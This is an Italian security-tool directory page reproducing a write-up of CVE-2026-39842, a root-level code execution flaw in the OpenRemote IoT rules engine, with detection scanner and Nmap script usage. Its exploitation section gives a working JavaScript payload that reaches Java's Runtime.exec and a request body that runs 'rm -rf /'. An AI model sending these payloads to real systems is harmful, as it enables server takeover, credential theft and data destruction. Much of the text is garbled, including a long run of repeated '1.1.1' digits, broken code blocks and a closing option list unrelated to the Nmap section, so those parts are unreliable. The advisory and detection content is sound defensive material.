Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39842 — Vulnerabilità critica di esecuzione remota di codice nel motore di regole di OpenRemote che consente agli utenti autenticati con ruolo `write:rules` di eseguire codice arbitrario sul server con privilegi di root. | Kitploit
Strumenti/GitHubGitHub/keraattin/cve-2026-39842
RicognizioneScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubkeraattin/cve-2026-39842

CVE-2026-39842

Vulnerabilità critica di esecuzione remota di codice nel motore di regole di OpenRemote che consente agli utenti autenticati con ruolo `write:rules` di eseguire codice arbitrario sul server con privilegi di root.

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39842: Iniezione di Espressioni in OpenRemote - RCE nel Rules Engine

CVE-2026-39842 CVSS 10.0 Critical CWE-94 CWE-917 OpenRemote Status FIXED

TL;DR

Vulnerabilità critica di esecuzione remota di codice nel Rules Engine di OpenRemote che consente agli utenti autenticati con ruolo write:rules di eseguire codice arbitrario sul server con privilegi di root.

  • Punteggio CVSS: 10.0 (Critico)
  • Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Versioni interessate: OpenRemote <= 1.21.0
  • Versione corretta: OpenRemote >= 1.22.0
  • Autenticazione richiesta: Sì (ruolo write:rules, può essere non-superuser)
  • Sfruttamento: RCE come utente root, accesso al file system, furto di variabili d'ambiente, violazione dei dati multi-tenant
  • Avviso: GHSA-7mqr-33rv-p3mp

Indice

  • Fatti rapidi
  • Cos'è OpenRemote?
  • Analisi approfondita della vulnerabilità
  • Analisi dell'impatto
  • Versioni interessate
  • Rilevamento
  • Indicatori di compromissione
  • Rimedio
  • Riferimenti
  • Autore

Fatti rapidi


Cos'è OpenRemote?

OpenRemote è una piattaforma IoT open-source per la creazione di edifici, città e industrie intelligenti. Fornisce gestione dei dispositivi, regole di automazione, analisi e integrazioni per l'ecosistema Internet of Things.

Caratteristiche principali

  • Gestione di dispositivi e asset su più protocolli (MQTT, Modbus, BACnet, HTTP)
  • Rules engine per l'automazione IoT e l'elaborazione della logica
  • Architettura multi-tenant con controllo degli accessi basato sui ruoli
  • Dashboard e monitoraggio in tempo reale
  • Creazione di regole personalizzate utilizzando più linguaggi di scripting
  • API REST per integrazione e gestione
  • Opzioni di distribuzione cloud e on-premises

Architettura di OpenRemote```

root@kitploit:~
                  Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘

root@kitploit:~
## Analisi Approfondita della Vulnerabilità

### Analisi della Causa Radice

La vulnerabilità deriva da due difetti critici nel Rules Engine di OpenRemote:

**Difetto 1: Motore JavaScript Nashorn non sandboxed**

Il motore JavaScript Nashorn di Java viene utilizzato per valutare le espressioni delle regole fornite dall'utente senza alcuna sandbox, security manager o restrizioni ClassFilter. Ciò consente agli aggressori di accedere direttamente alle classi Java dal contesto JavaScript.

**Difetto 2: Sandbox Groovy disabilitato**

Il motore di scripting Groovy aveva un GroovyDenyAllFilter registrato per prevenire l'esecuzione di codice, ma questa registrazione del filtro era stata commentata nel codebase. Solo l'applicazione delle regole Groovy esisteva a livello API (RulesResourceImpl.java:262), ma JavaScript non aveva alcuna restrizione.

### Percorsi di Codice Vulnerabili```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Bypass dell'autorizzazione

La vulnerabilità colpisce gli utenti autenticati con il ruolo write:rules. Il controllo di autorizzazione in RulesResourceImpl.java:262 blocca solo Groovy per gli utenti non superuser:``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); }

root@kitploit:~
Questo significa:
- Gli utenti non superuser POSSONO creare regole JavaScript (nessun blocco)
- Gli utenti non superuser NON POSSONO creare regole Groovy (bloccato)
- JavaScript non ha sandboxing, quindi lo sfruttamento è possibile per qualsiasi utente autenticato con write:rules

Inoltre, l'isolamento multi-tenant può essere aggirato tramite reflection su assetStorageService per accedere ai dati di altri realm.

### Flusso di attacco```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

Sfruttamento Passo-Passo

Passo 1: Ottenere le Credenziali write:rules

Un utente autenticato necessita del ruolo write:rules. Questo può essere:

  • Un amministratore di sistema legittimo
  • Un account compromesso
  • Un utente con assegnazioni di ruoli eccessive

Passo 2: Creare il Payload JavaScript

Creare un'espressione di regola utilizzando JavaScript che acceda al Java Runtime:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;

root@kitploit:~
**Passaggio 3: Invio all'endpoint vulnerabile**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

Passaggio 4: Esecuzione della regola

La piattaforma valuta la regola immediatamente o al momento programmato del trigger, eseguendo il payload con privilegi di root.

Passaggio 5: Post-sfruttamento

Con RCE come root, gli attaccanti possono:

  • Leggere file sensibili (/etc/passwd, configurazioni delle applicazioni)
  • Rubare variabili d'ambiente contenenti chiavi API e credenziali
  • Modificare la configurazione di sistema
  • Installare backdoor o meccanismi di persistenza
  • Accedere direttamente al database PostgreSQL
  • Compromettere i dati di tutti i tenant nelle distribuzioni multi-tenant

Analisi dell'impatto

Gravità: CRITICA (CVSS 10.0)

Esecuzione remota di codice

Gli attaccanti autenticati eseguono codice arbitrario sul server OpenRemote con privilegi di root. Questo è l'impatto di gravità più elevata, che consente il compromesso completo del sistema.``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### Accesso al File System

Accesso completo in lettura e scrittura a tutti i file sul sistema:

- Divulgazione del codice sorgente dell'applicazione
- File di configurazione sensibili (password di database, chiavi API)
- File di sistema e credenziali
- File dei container Docker (se containerizzato)

#### Furto di Variabili d'Ambiente

Accesso alle variabili d'ambiente contenenti:
- Stringhe di connessione al database
- Chiavi API e token
- Segreti OAuth
- Chiavi di crittografia private
- Credenziali AWS/Cloud

#### Violazione dei Dati

Negli ambienti multi-tenant, gli attaccanti possono aggirare l'isolamento dei tenant tramite reflection:

- Accesso ai dati di tutti i tenant simultaneamente
- Lettura di dati IoT sensibili dei sensori
- Modifica delle regole di automazione tra organizzazioni
- Estrazione di business intelligence e informazioni proprietarie

#### Integrità del Sistema

- Installazione di backdoor permanenti
- Distribuzione di malware
- Esecuzione di ransomware
- Compromissione della supply chain (se utilizzato in sviluppo)

#### Interruzione del Servizio

- Denial of service tramite esaurimento delle risorse
- Cancellazione o corruzione del database
- Manomissione della configurazione
- Arresto o riavvio del sistema

---

## Versioni Interessate

| Versione | Stato | Note |
|---------|--------|-------|
| <= 1.15.0 | Vulnerabile | Vulnerabilità originale presente |
| 1.16.0 | Vulnerabile | Nessuna correzione applicata |
| 1.17.0 | Vulnerabile | Nessuna correzione applicata |
| 1.18.0 | Vulnerabile | Nessuna correzione applicata |
| 1.19.0 | Vulnerabile | Nessuna correzione applicata |
| 1.20.0 | Vulnerabile | Nessuna correzione applicata |
| 1.21.0 | Vulnerabile | Ultima versione interessata |
| 1.22.0+ | CORRETTA | Motore di regole JavaScript completamente rimosso |

### Dettagli sulle Versioni

- **Intervallo Vulnerabile**: dalla 1.0.0 alla 1.21.0 (tutte le versioni con motore di regole JS)
- **Versione Corretta**: 1.22.0 (motore di regole JavaScript completamente rimosso)
- **Backport**: Nessun backport di sicurezza disponibile per le versioni precedenti; è richiesto un aggiornamento

---

## Rilevamento

### Come Funziona

I meccanismi di rilevamento identificano le istanze OpenRemote e verificano lo stato di vulnerabilità tramite più metodi:

1. **Rilevamento del Banner HTTP**: Interroga l'endpoint root dell'API per identificare OpenRemote ed estrarre le informazioni sulla versione
2. **Fingerprinting degli Endpoint**: Testa gli endpoint vulnerabili per verificarne presenza e comportamento
3. **Correlazione delle Versioni**: Confronta la versione rilevata con gli intervalli di vulnerabilità noti
4. **Analisi delle Risposte**: Esamina i messaggi di errore e le strutture delle risposte per le firme di OpenRemote

### Scanner Python

Lo scanner `detect_openremote.py` esegue il rilevamento automatico e la valutazione della vulnerabilità.

#### Installazione```bash
python3 -m pip install requests

Utilizzo```bash

python3 detect_openremote.py [OPTIONS]

root@kitploit:~
#### Opzioni

| Opzione | Breve | Lunga | Tipo | Descrizione |
|---------|-------|-------|------|-------------|
| Target | -t | --target | string | URL del singolo target (es., http://10.0.0.1:8080) |
| Lista | -l | --list | file | File contenente un elenco di target (uno per riga) |
| Output | -o | --output | file | Scrive i risultati in un file CSV |
| Verbose | -v | --verbose | flag | Abilita output dettagliato con risposte complete |
| Timeout | | --timeout | int | Timeout della richiesta HTTP in secondi (predefinito: 10) |
| Banner | | --no-banner | flag | Salta la stampa del banner |

#### Esempio: Target Singolo```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

Chunk 21

3.2.2.2.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.```

[*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+

root@kitploit:~
#### Esempio: Più Obiettivi con Output```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

File targets.txt:``` http://192.168.1.100:8080 http://192.168.1.101:8080 https://openremote.example.com:8443 http://10.20.30.40:8080

root@kitploit:~
Ecco l'output atteso in `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

Esempio: Output Dettagliato```bash

python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner

root@kitploit:~

Expected verbose output:

root@kitploit:~
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
```
### Script NSE per Nmap

Lo script `openremote-detect.nse` fornisce l'integrazione con Nmap per la scansione delle vulnerabilità.

#### Installazione```bash
cp openremote-detect.nse /usr/share/nmap/scripts/
nmap --script-updatedb
```
#### Utilizzo```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
```
#### Esempio: Scansione di base```bash
nmap -p 8080 --script openremote-detect 192.168.1.0/24
```
- **`-p, --port`** — Porta su cui ascoltare (predefinita: `8080`).
- **`-t, --threads`** — Numero di thread worker (predefinito: `4`).
